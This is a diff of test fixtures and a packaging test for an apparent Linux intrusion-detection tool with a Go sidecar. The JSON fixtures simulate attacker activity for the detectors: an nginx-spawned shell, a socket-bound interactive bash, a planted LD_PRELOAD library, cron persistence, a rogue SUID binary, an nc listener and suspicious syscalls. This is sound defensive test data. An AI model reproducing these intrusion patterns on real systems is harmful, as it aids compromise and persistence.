{"type":"execve","pid":"4001","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]}
|
||||
{"type":"sys","pid":"4002","ppid":"1","uid":"1000","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"}
|
||||
{"type":"listen","pid":"4003","ppid":"1","uid":"1000","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"}
|
||||
9
tests/fixtures/go/process-detectors.json
vendored
9
tests/fixtures/go/process-detectors.json
vendored
|
|
@ -1,5 +1,13 @@
|
|||
{
|
||||
"ld_preload": "/tmp/global.so\n/opt/second.so",
|
||||
"listener_baseline": [],
|
||||
"suid_baseline": ["/usr/bin/sudo"],
|
||||
"suid_binaries": ["/tmp/evil", "/usr/bin/sudo", "/usr/local/bin/newtool"],
|
||||
"persist_since": 100,
|
||||
"persistence_files": {"/etc/cron.d/evil": 101},
|
||||
"first_seen_initialized": true,
|
||||
"first_seen_public_destinations": {"bash": ["1.1.1.1:443"]},
|
||||
"first_seen_listener_ports": {"nc": ["22"]},
|
||||
"processes": [
|
||||
{"pid": 100, "comm": "bash", "cmdline": "bash -i", "exe": "/usr/bin/bash", "fd_targets": {"0": "socket:[999]"}},
|
||||
{"pid": 200, "comm": "sleep", "cmdline": "sleep", "exe": "/usr/bin/sleep", "environ": {"LD_PRELOAD": "/tmp/evil.so"}},
|
||||
|
|
@ -25,5 +33,6 @@
|
|||
{"state": "ESTAB", "local": "10.0.0.2:5000", "peer": "8.8.8.8:4443", "inode": 1, "comm": "hoxha", "pid": 340, "kind": "sctp"},
|
||||
{"state": "UNCONN", "local": "*:eth0", "peer": "*", "inode": 2, "comm": "tcpdump", "pid": 341, "kind": "packet"},
|
||||
{"state": "ESTAB", "local": "10.0.0.2:6000", "peer": "10.0.0.5:443", "inode": 3, "comm": "python3", "pid": 342, "kind": "tcp"}
|
||||
,{"state": "LISTEN", "local": "0.0.0.0:31337", "peer": "0.0.0.0:*", "inode": 4, "comm": "nc", "pid": 500, "kind": "tcp"}
|
||||
]
|
||||
}
|
||||
|
|
|
|||
10
tests/fixtures/go/syscall-events.json
vendored
Normal file
10
tests/fixtures/go/syscall-events.json
vendored
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
[
|
||||
{"pid": 2001, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 7]},
|
||||
{"pid": 2002, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mmap", "args": [0, 4096, 7]},
|
||||
{"pid": 2003, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "memfd_create", "args": [0, 0, 0], "text": "payload"},
|
||||
{"pid": 2004, "ppid": 1, "uid": 1000, "comm": "debugger", "syscall": "ptrace", "args": [16, 5000, 0]},
|
||||
{"pid": 2005, "ppid": 1, "uid": 1000, "comm": "sandbox", "syscall": "seccomp", "args": [0, 0, 0]},
|
||||
{"pid": 2006, "ppid": 1, "uid": 1000, "comm": "scanner", "syscall": "process_vm_readv", "args": [5000, 0, 0]},
|
||||
{"pid": 2007, "ppid": 1, "uid": 1000, "comm": "secretstore", "syscall": "mlock", "args": [140000000, 4096, 0]},
|
||||
{"pid": 2008, "ppid": 1, "uid": 1000, "comm": "loader", "syscall": "mprotect", "args": [140000000, 4096, 5]}
|
||||
]
|
||||
53
tests/test_go_sidecar_packaging.py
Normal file
53
tests/test_go_sidecar_packaging.py
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
"""Regression checks for the opt-in Go validation service."""
|
||||
|
||||
from pathlib import Path
|
||||
import unittest
|
||||
|
||||
|
||||
ROOT = Path(__file__).resolve().parents[1]
|
||||
UNIT = ROOT / "systemd" / "enodia-sentinel-go-sidecar.service"
|
||||
|
||||
|
||||
class GoSidecarPackagingTests(unittest.TestCase):
|
||||
def test_unit_is_isolated_and_opt_in(self) -> None:
|
||||
text = UNIT.read_text(encoding="utf-8")
|
||||
self.assertIn("ExecStart=/usr/bin/env enodia-sentinel-go ", text)
|
||||
self.assertIn("--state-dir /var/lib/enodia-sentinel-go", text)
|
||||
self.assertIn("--event-log /var/lib/enodia-sentinel-go/events.jsonl", text)
|
||||
self.assertIn("--event-log-max-bytes 67108864", text)
|
||||
self.assertIn("--snapshot-dir /var/lib/enodia-sentinel-go", text)
|
||||
self.assertIn("--ebpf-exec --ebpf-syscall", text)
|
||||
self.assertIn("StandardOutput=journal", text)
|
||||
self.assertIn("InaccessiblePaths=-/var/log/enodia-sentinel", text)
|
||||
self.assertNotIn("Alias=enodia-sentinel.service", text)
|
||||
|
||||
def test_unit_keeps_required_hardening(self) -> None:
|
||||
text = UNIT.read_text(encoding="utf-8")
|
||||
for directive in (
|
||||
"ProtectSystem=strict",
|
||||
"ProtectHome=read-only",
|
||||
"NoNewPrivileges=yes",
|
||||
"MemoryDenyWriteExecute=yes",
|
||||
"StateDirectory=enodia-sentinel-go",
|
||||
"LimitMEMLOCK=infinity",
|
||||
"Type=notify",
|
||||
"NotifyAccess=main",
|
||||
"PrivateDevices=yes",
|
||||
"RestrictAddressFamilies=AF_UNIX AF_NETLINK",
|
||||
"SystemCallArchitectures=native",
|
||||
):
|
||||
with self.subTest(directive=directive):
|
||||
self.assertIn(directive, text)
|
||||
|
||||
def test_install_requires_explicit_go_target(self) -> None:
|
||||
makefile = (ROOT / "Makefile").read_text(encoding="utf-8")
|
||||
default_install = makefile.split("\ninstall-go:", 1)[0]
|
||||
self.assertNotIn("enodia-sentinel-go-sidecar.service", default_install)
|
||||
self.assertIn("install-go: build-go", makefile)
|
||||
self.assertIn("enable-go:", makefile)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Loading…
Add table
Add a link
Reference in a new issue